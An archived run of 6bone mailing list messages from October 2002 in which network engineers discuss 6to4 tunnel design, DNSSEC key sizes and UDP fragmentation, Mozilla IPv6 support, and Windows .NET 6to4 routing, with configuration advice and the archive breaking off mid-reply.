<div>address of the gateway is 2002:0102:0304::1/64, and the prefix
delegated</div>
<div>to the IPv6-hosts within that home would be 2002:0102:0304:0001 (64
bits).</div>
<div>If the IPv4 address of dual-stack-relay-router is 5.6.7.8, the
IPv6</div>
<div>address of the relay-router is 2002:0506:0708::1/64.</div>
<br>
<div>My questions to you:</div>
<div>-------------------------------</div>
<div>On this front, can you please let me know if my approach is
right?</div>
<div>With this kind of configuration to the IPv6 hosts, will I</div>
<div>be able to provide global connectivity to the ipv6-hosts?</div>
<br>
<div>Is 6to4 tunnels the right approach to use to connect the gateways
to</div>
<div>relay-router?&nbsp; And if so, how should i configure the
ipv6-routing-</div>
<div>tables in the gateways to forward all the ipv6 traffic to 
the</div>
<div>relay-router?</div>
<br>
<div>How should i configure the relay-router to connect to 6bone?&nbsp;
Do we</div>
<div>use native-ipv6 or 6to4-tunnel?</div>
<br>
<div>Is there a better approach to solve this problem?</div>
<br>
<div>Since i am new to 6bone, i would greatly appreciate any help or
pointers.</div>
<div>With best rgds.</div>
Ravi
<br>

<font color="#FF0000"></font></html>

--=====================_351420075==_.ALT--


From morth@morth.org Mon Oct  7 17:27:19 2002
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Subject: Re: [6bone] tunnel to 6bone?
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To: Ravikanth Samprathi <rsamprat@cisco.com>
From: Pelle Johansson <morth@morth.org>
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m=E5ndagen den 7 oktober 2002 kl 20.24 skrev Ravikanth Samprathi:

> To accomplish this goal, I have configured a dual-stack-relay-router.
> =46rom each of the dual-stack-gateways, i have configured 6to4
> tunnels to the dual-stack-relay-router.=A0 =46rom the =
dual-stack-relay-
> router, i intend to connect to 6Bone.
> If the IPv4 address of dual-stack-gateway is 1.2.3.4, the IPv6
> address of the gateway is 2002:0102:0304::1/64, and the prefix=20
> delegated
> to the IPv6-hosts within that home would be 2002:0102:0304:0001 (64=20
> bits).
> If the IPv4 address of dual-stack-relay-router is 5.6.7.8, the IPv6
> address of the relay-router is 2002:0506:0708::1/64.

If you want all ipv6 traffic to pass through the router both in and=20
out, this is not the right approach. You then need to allocate all your=20=

ipv6 addresses under 2002:0506:0708::/48. Typically you'd give each=20
gateway one or more /64 prefixes (2002:0506:0708:1:: 2002:0506:0708:2::=20=

etc) and use gif tunnels (or similar) to move the traffic between the=20
gateways and the router. If, however, it's fine if the incoming packets=20=

go direct to the gateways you can do it like this (depends on how much=20=

you're firewalling). The best approach would of course to use native=20
IPv6 between the router and the gateways, but I assumed this was not=20
possible? (ie there's some network not under your control between them)

>
> My questions to you:
> -------------------------------
> On this front, can you please let me know if my approach is right?
> With this kind of configuration to the IPv6 hosts, will I
> be able to provide global connectivity to the ipv6-hosts?
>
> Is 6to4 tunnels the right approach to use to connect the gateways to
> relay-router?=A0 And if so, how should i configure the ipv6-routing-
> tables in the gateways to forward all the ipv6 traffic to the
> relay-router?
As I mentioned, typically you'd use gif tunnels or similar instead.=20
Ofc, 6to4 is basically implicit gif tunnels, but they have some=20
security issues (spoofing).

> How should i configure the relay-router to connect to 6bone?=A0 Do we
> use native-ipv6 or 6to4-tunnel?
If your upstream ISP does IPv6 that's the best choice. Otherwise you=20
can either use 6to4 or a tunnel broker (freenet6 seems to be the most=20
popular). I'm not sure what the status of getting reverse dns is when=20
using 6to4, and you have to find some 6to4 router who'll accept your=20
packets.
--=20
Pelle Johansson
<morth@morth.org>

--Apple-Mail-2--104943400
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m=E5ndagen den 7 oktober 2002 kl 20.24 skrev Ravikanth Samprathi:


<excerpt>To accomplish this goal, I have configured a
dual-stack-relay-router.

=46rom each of the dual-stack-gateways, i have configured 6to4

tunnels to the dual-stack-relay-router.=A0 =46rom the dual-stack-relay-

router, i intend to connect to 6Bone.

If the IPv4 address of dual-stack-gateway is 1.2.3.4, the IPv6

address of the gateway is 2002:0102:0304::1/64, and the prefix
delegated

to the IPv6-hosts within that home would be 2002:0102:0304:0001 (64
bits).

If the IPv4 address of dual-stack-relay-router is 5.6.7.8, the IPv6

address of the relay-router is 2002:0506:0708::1/64.

</excerpt>

If you want all ipv6 traffic to pass through the router both in and
out, this is not the right approach. You then need to allocate all
your ipv6 addresses under 2002:0506:0708::/48. Typically you'd give
each gateway one or more /64 prefixes (2002:0506:0708:1::
2002:0506:0708:2:: etc) and use gif tunnels (or similar) to move the
traffic between the gateways and the router. If, however, it's fine if
the incoming packets go direct to the gateways you can do it like this
(depends on how much you're firewalling). The best approach would of
course to use native IPv6 between the router and the gateways, but I
assumed this was not possible? (ie there's some network not under your
control between them)


<excerpt>

My questions to you:

-------------------------------

On this front, can you please let me know if my approach is right?

With this kind of configuration to the IPv6 hosts, will I

be able to provide global connectivity to the ipv6-hosts?


Is 6to4 tunnels the right approach to use to connect the gateways to

relay-router?=A0 And if so, how should i configure the ipv6-routing-

tables in the gateways to forward all the ipv6 traffic to the

relay-router?

</excerpt>As I mentioned, typically you'd use gif tunnels or similar
instead. Ofc, 6to4 is basically implicit gif tunnels, but they have
some security issues (spoofing).


<excerpt>How should i configure the relay-router to connect to 6bone?=A0
Do we

use native-ipv6 or 6to4-tunnel?

</excerpt>If your upstream ISP does IPv6 that's the best choice.
Otherwise you can either use 6to4 or a tunnel broker (freenet6 seems
to be the most popular). I'm not sure what the status of getting
reverse dns is when using 6to4, and you have to find some 6to4 router
who'll accept your packets.

--=20

Pelle Johansson

<<morth@morth.org>


--Apple-Mail-2--104943400--


From kenpohniman@yahoo.com Tue Oct  8 05:18:08 2002
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From: "Ken Pohniman" <kenpohniman@yahoo.com>
To: "'Ravikanth Samprathi'" <rsamprat@cisco.com>, <6bone@mailman.isi.edu>
Subject: RE: [6bone] tunnel to 6bone?
Date: Tue, 8 Oct 2002 20:17:37 +0800
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To provide ipv6 connectivity to 6bone, you can use the following
methods:

Method1:
Ipv6hosts---6to4router---(internet)---6to4relay---(6bone)
The router will be configured with 6to4, and advertise the 6to4 prefix
(depending on the router's public v4 address), to the v6 hosts. For the
hosts to connect to a 6to4 address (eg. 2002:...) in 6bone, the router
will perform 6to4 tunneling to the destination. However, to access a
global ipv6 address (eg. 2001:...), you'll also need to add a default v6
route on the router, pointing to the 6to4relay router (eg.
::/192.88.99.1).

Method2:
Ipv6hosts---(internet)---6to4relay---(6bone)
You can treat the MS XP host like a router, and configure 6to4 and the
necessary routing similar to method 1. Seems that with XP service pack
1, XP will automatically configure itself whenever it gets a public ipv4
address. When you do a ping6 (eg. Ping6 www.kame.net), you should be
able to get an ipv6 reply.

Regards,
Ken

  
-----Original Message-----
From: 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu]
On Behalf Of Ravikanth Samprathi
Sent: Tuesday, October 08, 2002 2:24 AM
To: 6bone@mailman.isi.edu
Subject: [6bone] tunnel to 6bone?

Hi
I have a topology with a set of ipv6-only-hosts
and a set of ipv4-only-hosts as follows:

IPv6 Hosts         IPv4 Hosts
  |                       |
  |                       |
  |                       |
  +--------+-----------+
           |
           |
  IPv4/IPv6 Dual Stack Gateway
           ||
           ||
           ||
           ||
           ||
  IPv4/IPv6 Dual Stack Relay Router
           |
           |
           |
      6Bone ISP

My goal is to provide global-ipv6-connectivity to the IPv6-hosts.

Approach:
----------------
To accomplish this goal, I have configured a dual-stack-relay-router.
From each of the dual-stack-gateways, i have configured 6to4
tunnels to the dual-stack-relay-router.  From the dual-stack-relay-
router, i intend to connect to 6Bone.
If the IPv4 address of dual-stack-gateway is 1.2.3.4, the IPv6
address of the gateway is 2002:0102:0304::1/64, and the prefix delegated
to the IPv6-hosts within that home would be 2002:0102:0304:0001 (64
bits).
If the IPv4 address of dual-stack-relay-router is 5.6.7.8, the IPv6
address of the relay-router is 2002:0506:0708::1/64.

My questions to you:
-------------------------------
On this front, can you please let me know if my approach is right?
With this kind of configuration to the IPv6 hosts, will I
be able to provide global connectivity to the ipv6-hosts?

Is 6to4 tunnels the right approach to use to connect the gateways to
relay-router?  And if so, how should i configure the ipv6-routing-
tables in the gateways to forward all the ipv6 traffic to the
relay-router?

How should i configure the relay-router to connect to 6bone?  Do we
use native-ipv6 or 6to4-tunnel?

Is there a better approach to solve this problem?

Since i am new to 6bone, i would greatly appreciate any help or
pointers.
With best rgds.
Ravi 



From bmanning@ISI.EDU Tue Oct  8 10:23:16 2002
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200210081723.g98HN7Q10549@boreas.isi.edu>
Subject: Re: AW: [6bone] big packets - redux
In-Reply-To: <73D3E97F639DD5119642000347055F0505BAB612@G9JNS.mgb01.telekom.de> from "Scheffler, Thomas" at "Oct 8, 2 10:57:56 am"
To: Thomas.Scheffler@t-systems.com (Scheffler, Thomas)
Date: Tue, 8 Oct 2002 10:23:07 -0700 (PDT)
Cc: bmanning@ISI.EDU, 6bone@ISI.EDU
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 key length (in bits) generates KEY/SIG rrs that are in bytes.

for example:

$dig . ns                 
...
;; WHEN: Tue Oct  8 10:17:24 2002
;; MSG SIZE  rcvd: 196

while:

$dig . ns +dnssec
...
;; WHEN: Tue Oct  8 10:18:51 2002
;; MSG SIZE  rcvd: 1822

	the change in bytes is nearly an order of magnitude
	and the key length was 512 bits.

this triggers UDP fragmentation.



% To me there seems to be a confusion of units in this 
% posting.
% Encryption keys are typically measured in bits,
% whereas MTU size is in bytes.
% 
% It should therefore be possible to send all, but
% the largest keys unfragmented in one paket.
% 
% Regards,
% Thomas
%  
% 
% > -----Ursprungliche Nachricht-----
% > Von: Bill Manning [mailto:bmanning@ISI.EDU]
% > Gesendet: Samstag, 5. Oktober 2002 01:44
% > An: 6bone@ISI.EDU
% > Betreff: [6bone] big packets - redux
% > 
% > 
% >  once more, with big packets....
% >  the topic was discussed on the keydist list.  Feedback is 
% > appreciated.
% > --------
% >         experimenting with DS keys of various lengths shows that 
% >         when keys are over a certain size, UDP fragmentation sets
% >         in.  In some cases, it is possible to actually get rollover
% >         to TCP (although this seems to be a corner case)
% > 
% >         now I've been told that UDP fragmentation can be a bad thing,
% >         leading to all sorts (well some kinds anyway) of odd 
% >         operational failures that are hard to debug.  UDP failure
% >         and rolling over to TCP is also considered a bad thing.
% > 
% >         so this question, "should key lengths be selected to 
% >         avoid fragmentation/TCP use?"
% > 
% >         if so, why?
% >         if not, why not?
% > 
% >         testing was done using single keys.  RSA/SHA1 keys of 
% > 512 & 1024
% >         bits, which generated "reasonable" packets.  RSA/SHA1 
% > keys of 4096 
% >         bits, generated UDP fragmentation. Multiple keys will 
% > aggrevate the
% >         issue.
% > 
% >         Somewhat sidenote:  there has been some discussion 
% > that RSA keys 
% >         over 2048 in length incurred a significant 
% > performance impact over 
% >         smaller keys.  This performance impact hits the 
% > resolver though, 
% >         "on the wire" usage wasn't mentioned.  Further 
% > testing is needed.
% > 
% > 
% > Thoughtful responses follow:
% > 
% > -  "no" I don't think operational issues should dictate key
% >    lengths, but huge keys don't necessarily mean more secure either :)
% > 
% > -  some IDS/firewalls toss UDP packets larger than 512 bytes. 
% > Maybe the 
% >    right answer is to tune the EDNS packet size to avoid UDP 
% >    fragmentation?  4096 is bigger than most MTUs, but 1280 
% > probably isn't, 
% >    and should be enough for most common responses.
% > 
% > - this is not just a server/resolver issue. if transit 
% > infrastructure is
% >   making assumptions on "viable" datagram sizes, we will have 
% > to make a 
% >   tradeoff in recommended key lengths.
% >   In an ideal world, security reasons (whatever that means) 
% > may be the only 
% >   vector for selecting length.  This being the "real" world, 
% > it may be that 
% >   to be useful, one has to trade of between "enough" 
% > crypto-strength and the 
% >   ability to deliver the key(s) to the intended target.)
% > 
% > - one experience is that keeping DNSSEC messages (plus 
% > overhead) below a
% >   MTU of 1500 can be sort of difficult and too restrictive besides.
% > 
% > - a general opinion is that the firewall or router that drops 
% > UDP fragments 
% >   or large UDP packets is broken and will need to be 
% > upgraded/replaced.
% >   if clients behind such broken devices set their EDNS0 max 
% > buffer size to 
% >   something that will fit in the MTU, everything should work. 
% >  There will
% >   probably be a lot of TCP DNS traffic, but it should work.
% > 
% > Acknowledgements:
% > 
% >         David Blacka  Scott Rose  Brian Wellington 
% >         Mark Andrews  Ed Lewis  Joahn Ihren  Olaf M. Kolkman
% > 
% > --bill
% > _______________________________________________
% > 6bone mailing list
% > 6bone@mailman.isi.edu
% > http://mailman.isi.edu/mailman/listinfo/6bone
% > 
% 


-- 
--bill

From rsamprat@cisco.com Tue Oct  8 17:21:26 2002
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Date: Tue, 8 Oct 2002 17:21:20 -0700 (PDT)
From: Ravi Samprathi <rsamprat@cisco.com>
To: Ken Pohniman <kenpohniman@yahoo.com>
cc: 6bone@mailman.isi.edu
Subject: RE: [6bone] tunnel to 6bone?
In-Reply-To: <000401c26ec4$b67f8110$0365a8c0@laptop>
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Thanks.
I will look into this.
Best rgds.
Ravi

On Tue, 8 Oct 2002, Ken Pohniman wrote:

> To provide ipv6 connectivity to 6bone, you can use the following
> methods:
>
> Method1:
> Ipv6hosts---6to4router---(internet)---6to4relay---(6bone)
> The router will be configured with 6to4, and advertise the 6to4 prefix
> (depending on the router's public v4 address), to the v6 hosts. For the
> hosts to connect to a 6to4 address (eg. 2002:...) in 6bone, the router
> will perform 6to4 tunneling to the destination. However, to access a
> global ipv6 address (eg. 2001:...), you'll also need to add a default v6
> route on the router, pointing to the 6to4relay router (eg.
> ::/192.88.99.1).
>
> Method2:
> Ipv6hosts---(internet)---6to4relay---(6bone)
> You can treat the MS XP host like a router, and configure 6to4 and the
> necessary routing similar to method 1. Seems that with XP service pack
> 1, XP will automatically configure itself whenever it gets a public ipv4
> address. When you do a ping6 (eg. Ping6 www.kame.net), you should be
> able to get an ipv6 reply.
>
> Regards,
> Ken
>
>  
> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu]
> On Behalf Of Ravikanth Samprathi
> Sent: Tuesday, October 08, 2002 2:24 AM
> To: 6bone@mailman.isi.edu
> Subject: [6bone] tunnel to 6bone?
>
> Hi
> I have a topology with a set of ipv6-only-hosts
> and a set of ipv4-only-hosts as follows:
>
> IPv6 Hosts         IPv4 Hosts
>   |                       |
>   |                       |
>   |                       |
>   +--------+-----------+
>            |
>            |
>   IPv4/IPv6 Dual Stack Gateway
>            ||
>            ||
>            ||
>            ||
>            ||
>   IPv4/IPv6 Dual Stack Relay Router
>            |
>            |
>            |
>       6Bone ISP
>
> My goal is to provide global-ipv6-connectivity to the IPv6-hosts.
>
> Approach:
> ----------------
> To accomplish this goal, I have configured a dual-stack-relay-router.
> From each of the dual-stack-gateways, i have configured 6to4
> tunnels to the dual-stack-relay-router.  From the dual-stack-relay-
> router, i intend to connect to 6Bone.
> If the IPv4 address of dual-stack-gateway is 1.2.3.4, the IPv6
> address of the gateway is 2002:0102:0304::1/64, and the prefix delegated
> to the IPv6-hosts within that home would be 2002:0102:0304:0001 (64
> bits).
> If the IPv4 address of dual-stack-relay-router is 5.6.7.8, the IPv6
> address of the relay-router is 2002:0506:0708::1/64.
>
> My questions to you:
> -------------------------------
> On this front, can you please let me know if my approach is right?
> With this kind of configuration to the IPv6 hosts, will I
> be able to provide global connectivity to the ipv6-hosts?
>
> Is 6to4 tunnels the right approach to use to connect the gateways to
> relay-router?  And if so, how should i configure the ipv6-routing-
> tables in the gateways to forward all the ipv6 traffic to the
> relay-router?
>
> How should i configure the relay-router to connect to 6bone?  Do we
> use native-ipv6 or 6to4-tunnel?
>
> Is there a better approach to solve this problem?
>
> Since i am new to 6bone, i would greatly appreciate any help or
> pointers.
> With best rgds.
> Ravi
>
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From fink@es.net Tue Oct  8 22:46:51 2002
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Date: Tue, 08 Oct 2002 22:46:18 -0700
To: 6BONE List <6bone@mailman.isi.edu>
From: Bob Fink <fink@es.net>
Cc: "Javier Castillo Alcibar" <javier.castillo@euroview-spain.com>,
   6bone reverse DNS registration <hostmaster@ep.net>
Mime-Version: 1.0
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Subject: [6bone] 6bone pTLA 3FFE:4012::/32 allocated to EUROVIEW-GROUP
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EUROVIEW-GROUP has been allocated pTLA 3FFE:4012::/32 having finished its 
2-week review period.

<http://whois.6bone.net/cgi-bin/whois?EUROVIEW-GROUP>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

   <http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
hostmaster@ep.net.]


Thanks,

Bob


From anil.bhaskar@wipro.com Thu Oct 10 21:35:58 2002
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Hi,
Can any body help me in setting Mozilla browser for IPv6; I am still
troubling with this on Linux M/C. I have IPv6 enable IE on Windows.

Thanks and Best Regards, 
Anil B. 
******************************************* 
Manager-Talent Transformation 
Mezzanine Floor, Floating Learning Centre,
Wipro Tech.
Electronics City-2 
Board No. 8520408-Ext: 5438
Mob: 9844003364 
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From nicolas.deffayet@ndsoftware.net Fri Oct 11 06:20:22 2002
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Subject: Re: [6bone] Want help in setting Mozilla browser for IPv6.
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: anil.bhaskar@wipro.com
Cc: 6bone@mailman.isi.edu
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On Fri, 2002-10-11 at 06:35, Anil B wrote:
Hi,

> Can any body help me in setting Mozilla browser for IPv6; I am still
> troubling with this on Linux M/C. I have IPv6 enable IE on Windows.

Mozilla have a native IPv6 support (only in Unix version), no need set
an option.
What's version on Mozilla do you use ?

The Windows version of Mozilla don't support IPv6.

Best Regards,

Nicolas DEFFAYET
http://noc.ndsoftwarenet.com/

FNIX6, the first french IPv6 Internet Exchange: http://www.fnix6.net/


From Ron.Barker@v-pe.de Fri Oct 11 06:20:51 2002
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Has anyone been able to get connected to the 6bone with  .NET RC1 IPv6.  =
I have tried in vain for 2 day to no avail.  Some really strange things =
happens depending on whether the computer is / is not
attached to the internet.  Really strange is the fact that prior to =
plugging in the ethernet cable the 6to4 interface is disable,  however,  =
whenever I have link to the net, the 6to4 has two strange
looking default routes that are automatically generated:

Publish  Type       Met  Prefix                    Idx  =
Gateway/Interface Name
-------  --------  ----  ------------------------  ---  =
---------------------
yes      Manual    1221 	 ::/0                        3  =
2002:836b:213c:1:e0:8f08:f020:8
yes      Manual    2147483648  ::/0                  3  =
2002:c058:6301::c058:6301
yes      Manual    1001  2002::/16                   3  6to4 Tunneling =
Pseudo-Interface

netsh interface ipv6>


1. is a  ::/0 route to what is obviously a rely router at MS -  =
131.107.33.60 - tried pinging but no answer
2- is a  ../0 route to a 192.xxx. route ?????=20

Where do these addresses come from???? magic.

Additionaly,  I miss any any all reference to setting up the tunnel.


Any comments appreciated

Ron=20





Dr. Ronald D. Barker
Vodafone Pilotentwicklung GmbH
Chiemgaustr. 116
D-81549 Munich
Germany
Fon +49 (89) 95 410 -0
Fax +49 (89) 95 410 -111
www.v-pe.de



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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
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charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
6.0.6249.1">
<TITLE>.NET RC1 IPv6 6to4</TITLE>
</HEAD>
<BODY>
<!-- Converted from text/rtf format -->

<P><FONT SIZE=3D2 FACE=3D"Arial">Has anyone been able to get connected =
to the 6bone with&nbsp; .NET RC1 IPv6.&nbsp; I have tried in vain for 2 =
day to no avail.&nbsp; Some really strange things happens depending on =
whether the computer is / is not attached to the internet.&nbsp; Really =
strange is the fact that prior to plugging in the ethernet cable the =
6to4 interface is disable,&nbsp; however,&nbsp; whenever I have link to =
the net, the 6to4 has two strange looking default routes that are =
automatically generated:</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Publish&nbsp; =
Type&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Met&nbsp; =
Prefix&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Idx&nbsp; =
Gateway/Interface Name</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">-------&nbsp; --------&nbsp; =
----&nbsp; ------------------------&nbsp; ---&nbsp; =
---------------------</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">yes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Manual&nbsp;&nbsp;&nbsp; 1221 =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
::/0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
3&nbsp; 2002:836b:213c:1:e0:8f08:f020:8</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">yes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Manual&nbsp;&nbsp;&nbsp; 2147483648&nbsp; =
::/0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3&nbsp; =
2002:c058:6301::c058:6301</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">yes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Manual&nbsp;&nbsp;&nbsp; 1001&nbsp; =
2002::/16&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3&nbsp; 6to4 Tunneling =
Pseudo-Interface</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">netsh interface ipv6&gt;</FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">1. is a&nbsp; ::/0 route to what is =
obviously a rely router at MS -&nbsp; 131.107.33.60 - tried pinging but =
no answer</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">2- is a&nbsp; ../0 route to a 192.xxx. =
route ????? </FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Where do these addresses come from???? =
magic.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Additionaly,&nbsp; I miss any any all =
reference to setting up the tunnel.</FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">Any comments appreciated</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Ron </FONT>
</P>
<BR>
<BR>
<BR>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">Dr. Ronald D. Barker</FONT>

<BR><FONT SIZE=3D1 FACE=3D"Arial">Vodafone Pilotentwicklung GmbH</FONT>

<BR><FONT SIZE=3D1 FACE=3D"Arial">Chiemgaustr. 116</FONT>

<BR><FONT SIZE=3D1 FACE=3D"Arial">D-81549 Munich</FONT>

<BR><FONT SIZE=3D1 FACE=3D"Arial">Germany</FONT>

<BR><FONT SIZE=3D1 FACE=3D"Arial">Fon +49 (89) 95 410 -0</FONT>

<BR><FONT SIZE=3D1 FACE=3D"Arial">Fax +49 (89) 95 410 -111</FONT>

<BR><FONT COLOR=3D"#FF0000" SIZE=3D1 FACE=3D"Arial">www.v-pe.de</FONT>
</P>
<BR>

</BODY>
</HTML>
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From bortzmeyer@nic.fr Fri Oct 11 07:13:46 2002
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To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
Cc: anil.bhaskar@wipro.com, 6bone@mailman.isi.edu
Subject: Re: [6bone] Want help in setting Mozilla browser for IPv6.
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On Fri, Oct 11, 2002 at 03:20:41PM +0200,
 Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net> wrote 
 a message of 23 lines which said:

> FNIX6, the first french IPv6 Internet Exchange: http://www.fnix6.net/

Wrong, the first one was Sfinx <URL:http://www.sfinx.tm.fr/>, several
months ago.

From nicolas.deffayet@ndsoftware.net Fri Oct 11 07:16:08 2002
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Subject: Re: [6bone] .NET RC1 IPv6 6to4
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: "Barker, Ron, vpe" <Ron.Barker@v-pe.de>
Cc: 6bone@mailman.isi.edu
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On Fri, 2002-10-11 at 15:20, Barker, Ron, vpe wrote:
> Has anyone been able to get connected to the 6bone with  .NET RC1 IPv6.  I have tried in vain for 2 day to no avail.  Some really strange things happens depending on whether the computer is / is not
> attached to the internet.  Really strange is the fact that prior to plugging in the ethernet cable the 6to4 interface is disable,  however,  whenever I have link to the net, the 6to4 has two strange
> looking default routes that are automatically generated:
> 
> Publish  Type       Met  Prefix                    Idx  Gateway/Interface Name
> -------  --------  ----  ------------------------  ---  ---------------------
> yes      Manual    1221 	 ::/0                        3  2002:836b:213c:1:e0:8f08:f020:8
> yes      Manual    2147483648  ::/0                  3  2002:c058:6301::c058:6301
> yes      Manual    1001  2002::/16                   3  6to4 Tunneling Pseudo-Interface
> 
> netsh interface ipv6>
> 
> 
> 1. is a  ::/0 route to what is obviously a rely router at MS -  131.107.33.60 - tried pinging but no answer
> 2- is a  ../0 route to a 192.xxx. route ????? 
> 
> Where do these addresses come from???? magic.
> 
> Additionaly,  I miss any any all reference to setting up the tunnel.

For setup a IPv6 over IPv4 tunnel on Windows .NET:

In Windows command line:

netsh
netsh> interface
netsh interface> ipv6
netsh interface ipv6> install
netsh interface ipv6> add v6v4tunnel "IPv6" <ipv4 local> <ipv4 remote>
netsh interface ipv6> add address "IPv6" <ipv6 local>
netsh interface ipv6> add route ::/0 "IPv6 <ipv6 remote>

I didn't have yet time to test IPv6 with Windows .NET, but the
NDSoftware Research team have do it.

Best Regards,

Nicolas DEFFAYET
http://noc.ndsoftwarenet.com/

FNIX6, the first french IPv6 Internet Exchange: http://www.fnix6.net/


From nicolas.deffayet@ndsoftware.net Fri Oct 11 07:30:19 2002
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Subject: Re: [6bone] Want help in setting Mozilla browser for IPv6.
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Stephane Bortzmeyer <bortzmeyer@gitoyen.net>
Cc: anil.bhaskar@wipro.com, 6bone@mailman.isi.edu
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On Fri, 2002-10-11 at 16:13, Stephane Bortzmeyer wrote: 
> On Fri, Oct 11, 2002 at 03:20:41PM +0200,
>  Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net> wrote 
>  a message of 23 lines which said:
> 
> > FNIX6, the first french IPv6 Internet Exchange: http://www.fnix6.net/
> 
> Wrong, the first one was Sfinx <URL:http://www.sfinx.tm.fr/>, several
> months ago.

SFINX is a IPv4 and IPv6 Internet Exchange, it's not a IPv6 Internet
Exchange.
IPv6 Internet Exchange = IPv6 only

FNIX6 is the first french IPv6 Internet Exchange and the second IPv6
Internet Exchange in Europe (the first is UK6x).

For information, a list of IPv6 Internet Exchange:
- 6IIX (New-York, Los Angeles, Santa Clara, US)
- 6NGIX (Seoul, KR)
- 6TAP (Chicago, US)
- KNIX6 (Soul, KR)
- NSPIXP-6 (Tokyo, JP)
- NY6IX (New-York, US)
- S-IX (San Jose,US)
- UK6X (London, UK)

Best Regards,

Nicolas DEFFAYET
http://noc.ndsoftwarenet.com/

FNIX6, the first french IPv6 Internet Exchange: http://www.fnix6.net/


From pekkas@netcore.fi Fri Oct 11 07:35:43 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: "Barker, Ron, vpe" <Ron.Barker@v-pe.de>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] .NET RC1 IPv6 6to4
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Note '2002:c058:6301::c058:6301' below.

That only works with Microsoft relays because there's a completely bogus 
and non-interoperable assumption that the relay has address 
'2002:c058:6301::c058:6301' and it's pingable.

Not a good way to push IPv6 *at all*...

On Fri, 11 Oct 2002, Barker, Ron, vpe wrote:

> Has anyone been able to get connected to the 6bone with  .NET RC1 IPv6.  I have tried in vain for 2 day to no avail.  Some really strange things happens depending on whether the computer is / is not
> attached to the internet.  Really strange is the fact that prior to plugging in the ethernet cable the 6to4 interface is disable,  however,  whenever I have link to the net, the 6to4 has two strange
> looking default routes that are automatically generated:
> 
> Publish  Type       Met  Prefix                    Idx  Gateway/Interface Name
> -------  --------  ----  ------------------------  ---  ---------------------
> yes      Manual    1221 	 ::/0                        3  2002:836b:213c:1:e0:8f08:f020:8
> yes      Manual    2147483648  ::/0                  3  2002:c058:6301::c058:6301
> yes      Manual    1001  2002::/16                   3  6to4 Tunneling Pseudo-Interface
> 
> netsh interface ipv6>
> 
> 
> 1. is a  ::/0 route to what is obviously a rely router at MS -  131.107.33.60 - tried pinging but no answer
> 2- is a  ../0 route to a 192.xxx. route ????? 
> 
> Where do these addresses come from???? magic.
> 
> Additionaly,  I miss any any all reference to setting up the tunnel.
> 
> 
> Any comments appreciated
> 
> Ron 
> 
> 
> 
> 
> 
> Dr. Ronald D. Barker
> Vodafone Pilotentwicklung GmbH
> Chiemgaustr. 116
> D-81549 Munich
> Germany
> Fon +49 (89) 95 410 -0
> Fax +49 (89) 95 410 -111
> www.v-pe.de
> 
> 
> 

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From owens@nysernet.org Fri Oct 11 08:07:11 2002
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Date: Fri, 11 Oct 2002 11:07:03 -0400
To: Pekka Savola <pekkas@netcore.fi>, "Barker, Ron, vpe" <Ron.Barker@v-pe.de>
From: Bill Owens <owens@nysernet.org>
Subject: Re: [6bone] .NET RC1 IPv6 6to4
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At 17:35 +0300 10/11/02, Pekka Savola wrote:
>Note '2002:c058:6301::c058:6301' below.
>
>That only works with Microsoft relays because there's a completely bogus
